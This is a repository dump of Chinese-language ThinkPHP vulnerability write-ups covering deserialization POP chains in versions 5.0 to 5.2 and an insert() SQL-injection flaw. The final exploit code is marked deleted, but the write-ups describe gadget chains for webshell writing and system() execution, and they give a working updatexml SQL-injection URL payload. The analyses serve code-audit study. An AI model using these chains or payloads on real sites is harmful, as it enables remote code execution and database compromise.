├── LICENSE
├── README.md
├── ThinkPHP5
├── ThinkPHP5.0.X反序列化利用链.md
├── ThinkPHP5.0.X反序列化利用链
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ ├── 8.png
│ └── 9.gif
├── ThinkPHP5.1.X反序列化利用链.md
├── ThinkPHP5.1.X反序列化利用链
│ ├── 1.png
│ ├── 10.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ ├── 8.png
│ └── 9.png
├── ThinkPHP5.2.X反序列化利用链.md
├── ThinkPHP5.2.X反序列化利用链
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ ├── 8.png
│ └── 9.png
├── ThinkPHP5漏洞分析之SQL注入1.md
├── ThinkPHP5漏洞分析之SQL注入1
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ ├── 8.png
│ └── 9.png
├── ThinkPHP5漏洞分析之SQL注入2.md
├── ThinkPHP5漏洞分析之SQL注入2
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ └── 8.png
├── ThinkPHP5漏洞分析之SQL注入3.md
├── ThinkPHP5漏洞分析之SQL注入3
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ └── 5.png
├── ThinkPHP5漏洞分析之SQL注入4.md
├── ThinkPHP5漏洞分析之SQL注入4
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ ├── 8.png
│ └── 9.png
├── ThinkPHP5漏洞分析之SQL注入5.md
├── ThinkPHP5漏洞分析之SQL注入5
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ └── 8.png
├── ThinkPHP5漏洞分析之SQL注入6.md
├── ThinkPHP5漏洞分析之SQL注入6
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ └── 7.png
├── ThinkPHP5漏洞分析之代码执行10.md
├── ThinkPHP5漏洞分析之代码执行10
│ ├── 1.png
│ ├── 10.png
│ ├── 11.png
│ ├── 12.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ ├── 8.png
│ └── 9.png
├── ThinkPHP5漏洞分析之代码执行8.md
├── ThinkPHP5漏洞分析之代码执行8
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ └── 6.png
├── ThinkPHP5漏洞分析之代码执行9.md
├── ThinkPHP5漏洞分析之代码执行9
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ ├── 7.png
│ └── 8.png
├── ThinkPHP5漏洞分析之文件包含7.md
└── ThinkPHP5漏洞分析之文件包含7
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ └── 7.png
├── ThinkPHP6
├── ThinkPHP6.0.x任意文件创建
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ ├── 6.png
│ └── 7.png
├── ThinkPHP6.0任意文件写.md
├── ThinkPHP6.X反序列化利用链.md
└── ThinkPHP6.X反序列化利用链
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ └── 4.png
└── icon
├── 1.svg
├── 2.svg
└── 3.svg
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2019
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ThinkPHP-Vuln
2 |
3 | [](#) [](#) [](#)
4 |
5 | 本项目将详细分析 **ThinkPHP** 的历史漏洞,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。 ~~该项目也将整合到 [PHP-Audit-Labs](https://github.com/hongriSec/PHP-Audit-Labs) ,作为其 **Part2** 框架漏洞分析的一部分。~~ 希望这些漏洞分析文章,对学习 **PHP代码审计** 的朋友有所帮助 :smile: 。如有任何遗漏,欢迎 **issue** 。分析文章均来自 [**个人博客**]() ,转载请注明出处。文章中的漏洞影响版本,笔者只测试过头、尾及中间部分版本,可能不准确。
6 |
7 | ## Article list(ThinkPHP6)
8 |
9 | - [x] [ThinkPHP6漏洞分析之任意文件创建(一)](/ThinkPHP6/ThinkPHP6.0任意文件写.md)
10 | - [x] [ThinkPHP6漏洞分析之6.0.X反序列化POP链(二)](/ThinkPHP6/ThinkPHP6.X反序列化利用链.md)
11 |
12 | ## Article list(ThinkPHP5)
13 |
14 | - [x] [ThinkPHP5漏洞分析之SQL注入(一)](/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1.md)
15 | - [x] [ThinkPHP5漏洞分析之SQL注入(二)](/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入2.md)
16 | - [x] [ThinkPHP5漏洞分析之SQL注入(三)](/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入3.md)
17 | - [x] [ThinkPHP5漏洞分析之SQL注入(四)](/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入4.md)
18 | - [x] [ThinkPHP5漏洞分析之SQL注入(五)](/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入5.md)
19 | - [x] [ThinkPHP5漏洞分析之SQL注入(六)](/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入6.md)
20 | - [x] [ThinkPHP5漏洞分析之文件包含(七)](/ThinkPHP5/ThinkPHP5漏洞分析之文件包含7.md)
21 | - [x] [ThinkPHP5漏洞分析之代码执行(八)](/ThinkPHP5/ThinkPHP5漏洞分析之代码执行8.md)
22 | - [x] [ThinkPHP5漏洞分析之代码执行(九)](/ThinkPHP5/ThinkPHP5漏洞分析之代码执行9.md)
23 | - [x] [ThinkPHP5漏洞分析之代码执行(十)](/ThinkPHP5/ThinkPHP5漏洞分析之代码执行10.md)
24 | - [x] [ThinkPHP5漏洞分析之SQL注入(十一)](#) (TP<=5.1.37,暂不公开)
25 | - [x] [ThinkPHP5漏洞分析之5.0.X反序列化POP链(十二)](/ThinkPHP5/ThinkPHP5.0.X反序列化利用链.md)
26 | - [x] [ThinkPHP5漏洞分析之5.1.X反序列化POP链(十三)](/ThinkPHP5/ThinkPHP5.1.X反序列化利用链.md)
27 | - [x] [ThinkPHP5漏洞分析之5.2.X反序列化POP链(十四)](/ThinkPHP5/ThinkPHP5.2.X反序列化利用链.md)
28 |
29 | ## Article list(ThinkPHP3)
30 |
31 | **TODO**
32 |
33 | ## Contact
34 |
35 | **blog** : https://mochazz.github.io
36 |
37 | ## License
38 |
39 | ThinkPHP-Vuln is licensed under MIT.See the [license](/LICENSE) for detail.2
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析存在于 **ThinkPHP 5.0.X** 中的反序列化利用链。
2 |
3 | ## 漏洞环境
4 |
5 | 漏洞测试环境:PHP5.6+Linux+ThinkPHP5.0.24
6 |
7 | 漏洞测试代码 **application/index/controller/Index.php** 。
8 |
9 | ```php
10 | handle->write()** ,而这个 **$this->handle** 可以,所以思路就是找一个类的 **write** 方法可以实现写文件。
35 |
36 | 
37 |
38 | 这里,我们将 **think\console\Output** 类的 **handler** 属性设置成 **think\session\driver\Memcached** 类对象。因为我们发现 **think\cache\driver\File:set()** 方法可以写文件,刚好 **think\session\driver\Memcached:write()** 中调用了 **set** 方法,且又有一个可控的 **handler** 属性。我们继续深入,看看如何利用 **think\cache\driver\File:set()** 方法写文件。
39 |
40 | 首先, **$filename** 的前一部分 **$this->options['path']** 可控,但是这时的 **$value=true** ,其在 **think\console\Output:writeln()** 方法中固定为 **true** ,也就是说下图第158行写入文件的代码我们不可控。但是我们继续往下看,发现 **$this->setTagItem($filename)** 中又调用了 **set** 方法写文件,而此时传入的 **$value** 为我们部分可控的 **$filename** 。那么此时,我们就可以使用 **PHP** 的伪协议来写 **shell** 。
41 |
42 | 
43 |
44 | 例如,我们将部分可控的 **$this->options['path']** 设置成 **php://filter/write=string.rot13/resource=\** ,最后就会生成一个一句话木马(访问 **webshell** 的时候,注意要将文件名中的 **?** 号 **URL编码** 成 **%3f** )。
45 |
46 | 
47 |
48 | 后面的利用基本讲完了,我们再回到刚刚的 **think\Model:toArray()** ,因为我们还没说明选择何处调用 **__call** 方法。这里我们选择通过下图第912行的 **$value->getAttr()** ,来触发 **think\console\Output:__call()** 方法。
49 |
50 | 
51 |
52 | 那么这里的 **$value** 一定是 **think\console\Output** 类对象,其在上图第902行 **$this->getRelationData($modelRelation)** 被赋值。其中,参数 **$modelRelation = $this->$relation()** ,实际上就是 **think\Model** 类任意方法的返回结果。这里我选择返回结果简单可控的 **getError** 方法。
53 |
54 | 
55 |
56 | 参数已经可控了,接下来我们就直接看 **think\Model:getRelationData()** 的具体代码。下图的 **$this->parent** 肯定是 **think\console\Output** 类对象,所以我们只需要满足下面的 **if** 语句即可。这里我们 **think\model\Relation** 类的 **isSelfRelation、getModel** 方法返回值都可控,所以我们找 **think\model\Relation** 的子类套一下即可。
57 |
58 | 
59 |
60 | 万一网站不允许写文件,我们可以稍微修改下 **payload** 用于创建一个 **0755** 权限的目录(这里利用的是 **think\cache\driver\File:getCacheKey()** 中的 **mkdir** 函数),然后再往这个目录写文件。
61 |
62 | 
63 |
64 | 最终生成 **shell** 的 **EXP** 如下:
65 |
66 | ```
67 | 已删除
68 | ```
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/9.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.0.X反序列化利用链/9.gif
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析存在于 **ThinkPHP 5.1.X** 中的反序列化利用链。
2 |
3 | ## 环境搭建
4 |
5 | ```bash
6 | ➜ composer create-project --prefer-dist topthink/think tp5137
7 | ➜ cd tp5137
8 | ➜ vim composer.json # 把"topthink/framework": "5.1.*"改成"topthink/framework": "5.1.37"
9 | ➜ composer update
10 | ```
11 |
12 | 将 **application/index/controller/Index.php** 代码修改成如下:
13 |
14 | ```php
15 | data[$name]** ,而这个变量是可以控制的。**第192行** 的 **$name** 变量来自 **$this->append** ,也是可以控制的。所以 **$relation->visible($name)** 就变成了:**可控类->visible(可控变量)** 。那么接下来,就要找可利用的 **visible** 方法,或者没有 **visible** 方法,但有可利用的 **__call** 方法。
54 |
55 | 
56 |
57 | 全局搜了一下 **visible** 方法大概有3处,但是都不能利用,所以我们考虑寻找可利用的 **__call** 方法。在搜 **__call** 方法的时候,会发现有一处 **think\Request**类比较好利用,因为这里 **call_user_func_array** 函数的第一个参数完全可控。构造 **EXP** 的时候可以传入数组,变成 **call_user_func_array(array(任意类,任意方法),$args)** ,这样我们就可以调用任意类的任意方法了。虽然第330行用 **array_unshift** 函数把本类对象 **$this** 放在数组变量 **$args** 的第一个,但是我们可以寻找不受这个参数影响的方法。
58 |
59 | 
60 |
61 | 分析过 **ThinkPHP** 历史 **RCE** 漏洞的人可能知道, **think\Request** 类的 **input** 方法经常是链中一个非常棒的 **Gadget** ,相当于 **call_user_func($filter,$data)** 。但是前面我们说过, **$args** 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 **input** 方法,而应该寻找调用 **input** 的方法。
62 |
63 | 
64 |
65 | 调用 **input** 的方法共有7处,我这里直接选择比较简单的 **request** 方法来分析,因为这7处关键代码都类似。如果这里通过调用 **request** 方法间接调用 **input** 方法,实际上框架会报错退出的。因为这里传给 **input** 方法的 **$name** (下图右边第1092行),实际上是先前 **call_user_func_array(array(任意类,任意方法),$args)** 中 **$args** 数组的第一个变量,即我们前面说的一个固定死的类对象。然而如果把一个类对象作为 **$data** 传给 **input** 方法,那么在强转成字符串的时候(上图左边1354行),框架就会报错退出。
66 |
67 | 
68 |
69 | 所以我们这里还要继续找有哪些地方调用了这7处。这里搜了调用 **param** 方法的地方,发现 **isAjax** 和 **isPjax** 都可以利用,因为他们传入 **param** 方法的第一个参数均可控。
70 |
71 | 
72 |
73 | 这样,整个漏洞链就构造完了。下面举个例子,比如我们想执行 **system('id')** 代码,那么我们只要让传入的 **Request** 对象的 **$this->filter='system'** 且 **$this->param=array('id')** 即可,所以最终 **EXP** 如下(不同版本EXP不一样):
74 |
75 | ```php
76 | 已删除
77 | ```
78 |
79 | 
80 |
81 | 最后整理一下攻击链的流程图:
82 |
83 | 
84 |
85 | ## 参考
86 |
87 | [挖掘暗藏thinkphp中的反序列利用链](https://blog.riskivy.com/%e6%8c%96%e6%8e%98%e6%9a%97%e8%97%8fthinkphp%e4%b8%ad%e7%9a%84%e5%8f%8d%e5%ba%8f%e5%88%97%e5%88%a9%e7%94%a8%e9%93%be/)
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/10.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.1.X反序列化利用链/9.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析存在于 **ThinkPHP 5.2.X** 中的反序列化利用链。
2 |
3 | ## 环境搭建
4 |
5 | ```bash
6 | ➜ html composer create-project topthink/think=5.2.x-dev tp52x
7 | ➜ html cd tp52x
8 | ➜ tp52x ./think run
9 | ```
10 |
11 | 将 **application/index/controller/Index.php** 代码修改成如下:
12 |
13 | ```php
14 | visible($name)** 已经不见了,其实这段代码被移到了 **第180行** 的 **appendAttrToArray** 方法中。这里,我们先关注 **第172行** 的 **getAttr** 方法,这里传入的 **$key** 变量是来自第158行的可控变量 **$data** 。(下图对应文件 vendor/topthink/framework/src/think/model/concern/Conversion.php)
48 |
49 | 
50 |
51 | 在 **getAttr** 方法中,程序先通过第451行的 **getData** 获取了 **$value** 变量。从下图右侧的获取过程中,可以看出最终获得的 **$value** 变量值可控。然后在第457调用 **getValue** 方法,传入该方法的前两个变量值均可控,最后一个 **$relation** 值为 **false** 。我们跟进 **getValue** 方法,看其具体代码。(下图对应文件 vendor/topthink/framework/src/think/model/concern/Attribute.php )
52 |
53 | 
54 |
55 | 可以看到在 **getValue** 方法中,使用了动态调用(上图第481行),而且这里的 **$closure、$value、$this->data** 均可控。我们只要让 **$closure='system'** 并且 **$value='要执行的命令'** ,就可以触发命令执行。但是上面的 **Attribute、Conversion** 是 **trait** ,不能直接用来构造 **EXP** ,我们得找使用了这两个 **trait** 的类。
56 |
57 | 
58 |
59 | 这里我们找到了符合条件的 **Pivot** 类,所以这条链的 **EXP** 如下(例如这里执行 `curl 127.0.0.1:8888` ):
60 |
61 | ```php
62 | 已删除
63 | ```
64 |
65 | 
66 |
67 | ## POP链2
68 |
69 | 第二条POP链其实不太好用,需要目标站点可以上传 **route.php** 文件,且知道上传后文件的存储路径,下面我们来看下具体POP链。
70 |
71 | 这个POP链的前半部分,和原先 **ThinkPHP5.1.x** 中的POP链是一样的。只不过在执行到下图第193行时, **ThinkPHP5.1.x** 中的POP链会去触发 **Request** 类的 **__call** 方法,而在 **ThinkPHP5.2.x** 中移除了 **Request** 类的 **__call** 方法,所以我们需要寻找新的可用 **__call** 方法。
72 |
73 | 
74 |
75 | 这里,我们使用 **Db** 类的 **__call** 方法,因为该方法可以实例化任意类(下图第203行)。结合 **Url** 类的 **__construct** 方法,从而进行文件包含。如果攻击者可以上传 **route.php** 文件,并知道文件存储位置,即可 **getshell** 。
76 |
77 | 
78 |
79 | 最终,这条链的 **EXP** 如下(这里我事先上传了 **route.php** 到 **/tmp/** 目录下):
80 |
81 | ```php
82 | 已删除
83 | ```
84 |
85 | 
86 |
87 | ## 参考
88 |
89 | [N1CTF2019 sql_manage出题笔记](https://xz.aliyun.com/t/6300)
90 | [thinkphp v5.2.x 反序列化利用链挖掘](https://www.anquanke.com/post/id/187332)
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/1.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/2.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/3.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/4.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/5.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/6.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/7.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/7.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/8.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/8.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mochazz/ThinkPHP-Vuln/9572c5c58aacd7af815233a023086afbcbb9e896/ThinkPHP5/ThinkPHP5.2.X反序列化利用链/9.png
--------------------------------------------------------------------------------
/ThinkPHP5/ThinkPHP5漏洞分析之SQL注入1.md:
--------------------------------------------------------------------------------
1 | 本系列文章将针对 **ThinkPHP** 的历史漏洞进行分析,今后爆出的所有 **ThinkPHP** 漏洞分析,也将更新于 [ThinkPHP-Vuln](https://github.com/Mochazz/ThinkPHP-Vuln) 项目上。本篇文章,将分析 **ThinkPHP** 中存在的 **SQL注入** 漏洞( **insert** 方法注入)。
2 |
3 | ## 漏洞概要
4 |
5 | 本次漏洞存在于 **Builder** 类的 **parseData** 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 **SQL** 语句,导致 **SQL注入漏洞** 的产生。漏洞影响版本: **5.0.13<=ThinkPHP<=5.0.15** 、 **5.1.0<=ThinkPHP<=5.1.5** 。
6 |
7 | ## 漏洞环境
8 |
9 | 通过以下命令获取测试环境代码:
10 |
11 | ```bash
12 | composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
13 | ```
14 |
15 | 将 **composer.json** 文件的 **require** 字段设置成如下:
16 |
17 | ```json
18 | "require": {
19 | "php": ">=5.4.0",
20 | "topthink/framework": "5.0.15"
21 | }
22 | ```
23 |
24 | 然后执行 `composer update` ,并将 **application/index/controller/Index.php** 文件代码设置如下:
25 |
26 | ```php
27 | get('username/a');
35 | db('users')->insert(['username' => $username]);
36 | return 'Update success';
37 | }
38 | }
39 | ```
40 |
41 | 在 **application/database.php** 文件中配置数据库相关信息,并开启 **application/config.php** 中的 **app_debug** 和 **app_trace** 。创建数据库信息如下:
42 |
43 | ```sql
44 | create database tpdemo;
45 | use tpdemo;
46 | create table users(
47 | id int primary key auto_increment,
48 | username varchar(50) not null
49 | );
50 | ```
51 |
52 | 访问 **http://yoursite/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1** 链接,即可触发 **SQL注入漏洞** 。(没开启 **app_debug** 是无法看到 **SQL** 报错信息的)
53 |
54 | 
55 |
56 | ## 漏洞分析
57 |
58 | 
59 |
60 | 首先在官方发布的 **5.0.16** 版本更新说明中,发现其中提到该版本包含了一个安全更新,我们可以查阅其 **commit** 记录,发现其修改的 **Builder.php** 文件代码比较可疑。
61 |
62 | 
63 |
64 | 接着我们直接跟着上面的攻击 **payload** 来看看漏洞原理。首先, **payload** 数据经过 **ThinkPHP** 内置方法的过滤后(不影响我们的 **payload** ),直接进入了 **$this->builder** 的 **insert** 方法,这里的 **$this->builder** 为 **\think\db\builder\Mysql** 类,代码如下:
65 |
66 | 
67 |
68 | 而 **Mysql** 类继承于 **Builder** 类,即上面的 **$this->builder->insert()** 最终调用的是 **Builder** 类的 **insert** 方法。在 **insert** 方法中,我们看到其调用 **parseData** 方法来分析并处理数据,而 **parseData** 方法直接将来自用户的数据 **$val** 进行了拼接返回。我们的恶意数据存储在 **$val[1]** 中,虽经过了 **parseKey** 方法处理,当丝毫不受影响,因为该方法只是用来解析处理数据的,并不是清洗数据。
69 |
70 | 
71 |
72 | 上面,我们看到直接将用户数据进行拼接。然后再回到 **Builder** 类的 **insert** 方法,直接通过替换字符串的方式,将 **$data** 填充到 **SQL** 语句中,进而执行,造成 **SQL注入漏洞** 。
73 |
74 | 
75 |
